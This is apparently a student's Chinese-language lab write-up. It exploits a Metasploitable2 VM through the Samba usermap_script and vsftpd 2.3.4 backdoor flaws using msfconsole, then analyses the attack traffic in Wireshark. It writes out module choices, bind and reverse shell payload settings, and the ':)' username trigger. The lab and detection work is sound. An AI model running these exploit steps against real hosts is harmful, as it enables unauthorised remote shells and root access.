ricky1014

博客园 首页 新随笔 联系 订阅 管理

一、核心知识点梳理

1.Samba服务

Samba 遵循 SMB/CIFS 网络协议,可让类 Unix 系统模拟 Windows 的网络邻居服务,实现不同操作系统的互联。Samba 主要包含两大核心进程,分别是 smbd 和 nmbd。smbd 负责处理文件共享、权限校验、读写访问等数据传输工作;nmbd 主要承担网络名称解析、局域网主机广播浏览功能,让 Windows 电脑能在网络邻居中直接发现 Linux 共享主机。

2.Usermap_script安全漏洞

Usermap_script 漏洞编号为 CVE-2007-2447,是 一种远程命令注入漏洞,Samba 内置 username map script 配置项,作用是将 Windows 登录用户名映射为 Linux 本地系统用户,方便跨平台身份认证。当管理员在配置文件中开启该功能后,程序在处理客户端传入的用户名时,未对分号、管道符、逻辑连接符等 Shell 特殊字符进行过滤与校验,直接把用户可控的输入内容拼接调用系统命令行执行,由此产生命令注入缺陷。

3.msfconsole

msfconsole是Metasploit框架的控制台,其采用命令行交互模式,整合了大量公开漏洞库、攻击模块、漏洞载荷与辅助脚本,并且其包含漏洞利用模块、攻击载荷模块、辅助扫描模块、编码免杀模块及后渗透模块,适配Windows、Linux等常见漏洞场景。

二、实践过程

(1)使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。

  • 查看kali的IP地址为192.168.200.6
    image
  • 编辑Metasploitable虚拟机,修改其IP地址与kali在同一网段下,设置为192.168.200.5
    sudo vim /etc/rc.local
    image
  • 在kali中确认和靶机的连通性
    image
  • 打开Metasploit框架的控制台msfconsole
    msfconsole
    image
  • 在 msfconsole 中查找用于usermap_script漏洞的模块
    search samba usermap_script
    image
  • 搜索到exploit/multi/samba/usermap_script模块,使用该模块进行攻击
    use exploit/multi/samba/usermap_script
    image
  • 查看此模块所适配的攻击载荷列表
    show payloads
    image
  • 选择正向 NC 后门载荷,并输入对应的Metasploitable(靶机)和kali(攻击机)IP地址后发起攻击
set payload cmd/unix/bind_netcat
set RHOST 192.168.200.5
set LHOST 192.168.200.6
exploit

image

  • 查看当前的IP地址,发现是Metasploitable(靶机)的IP地址,攻击成功
    image

(2)实践作业:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

  • 查看Metasploitable2-Linux的IP地址为192.168.200.7
    image
  • 在kali中打开 msfconsole
    image
  • 查看针对 vsftpd 的攻击模块
    search vsftpd
    image
  • 加载vsftpd 2.3.4 恶意后门漏洞攻击模块
    use exploit/unix/ftp/vsftpd_234_backdoor
  • 打开 Wireshark,只过滤ip.addr == 192.168.200.6 && ip.addr == 192.168.200.7 的流量,准备监听
    image
  • 设定攻击目标IP为192.168.200.7,让被攻击的靶机主动反弹 shell 连接到kali,从而控制靶机。
set RHOSTS 192.168.200.7
set LHOST 192.168.200.6
set payload cmd/unix/reverse
exploit

image

  • 登录靶机后查看当前权限为root,核查当前靶机信息,进入总根目录新建文件夹与日志文件,验证漏洞是否攻击成功。
whoami
uname -a
cd /home
mkdir attack_verify
echo "vsftpd attack success" > attack_log.txt
ls

image

  • 回到 Wireshark,分析攻击过程的流量情况
    image
  • 1. 建立 FTP 控制会话(第 43 号包-第 45 号包): 攻击机向靶机发送连接请求,携带初始序列号(Seq=0),请求建立 TCP 连接;靶机回应连接请求,既确认收到攻击机的 SYN,也携带自身的初始序列号(Seq=0),完成双向同步;攻击机确认收到靶机的 SYN+AC,无载荷数据,至此 TCP 三次握手完成,FTP 控制会话正式建立。
    image
  • 2. 触发笑脸漏洞(第 48 号包): 攻击机发送 FTP 用户名 USER Fiv7:) ,当靶机解析到 😃 序列时,后门触发逻辑被激活,服务端开始在 6200 端口监听
    image
  • 3.建立后门控制通道(第 52 号包-第 54 号包): 攻击机向靶机 6200 端口发送 SYN 包,靶机返回 SYN+ACK 包,确认端口处于监听状态。攻击机发送 ACK 包,完成与 的 TCP 连接建立。
    image
  • 4. 实施恶意行为: 打开交互流tcp.stream,直接展示了漏洞利用后的恶意行为,包括查看权限、创建文件夹等操作。
    image
  • 攻击特征分析

1. 后门端口会话:

攻击机先与靶机 TCP/21 端口 完成三次握手,建立标准 FTP 控制连接。然后攻击机主动向靶机 TCP/6200 端口 发起新的 TCP 三次握手,并成功建立连接,6200 端口的会话无任何应用层协议标识,仅表现为纯 TCP 数据交互,属于典型的反向 shell 流量特征。

2. 恶意USER命令触发标识:

FTP 会话中,USER命令的参数包含:),例如USER Fiv7:)。服务端的响应完全正常,返回标准的331 Please specify the password.,无任何错误提示,但此时后门已被静默激活,后台启动 root 权限的 shell 并监听 6200 端口。

三、学习中遇到的问题及解决

1.在 msfconsole 中输入正确命令,但无法执行渗透攻击,并提示 Exploit completed, but no session was created。

解决方案:在网上下载 Metaspolitable_Linux 虚拟机作为靶机即可。

四、心得与体会

本次实验的主要内容是后门漏洞渗透,在实验过程中,我进行了漏洞模块检索、参数配置、载荷调用等渗透攻击的训练,同时我也借助Wireshark开展流量抓包、攻击溯源。通过实操,我基本掌握了msfconsole的基础用法与Linux高危漏洞的利用,明白了老旧服务中存在的严重安全风险。后续我也将继续学习网络攻防知识,研究安全防护技术,强化为网络攻防的实操能力。

posted on 2026-05-07 14:05  20252903  阅读(11)  评论(0)    收藏  举报